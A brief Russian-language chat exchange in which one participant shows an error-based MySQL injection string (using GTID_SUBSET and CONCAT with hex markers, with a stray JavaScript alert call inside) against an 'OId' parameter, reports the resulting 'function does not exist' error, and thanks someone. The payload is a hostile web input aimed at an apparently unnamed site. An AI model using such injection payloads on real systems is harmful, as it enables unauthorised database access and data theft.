делаю так
OId=1' AND GTID_SUBSET(CONCAT(0x716b626a71,(alert(123)),0x7162706271),3153)-- KIcJ
в ответ получаю - FUNCTION ****-***-**.alert does not exist
блин, спасибо :)
Обсуждают сегодня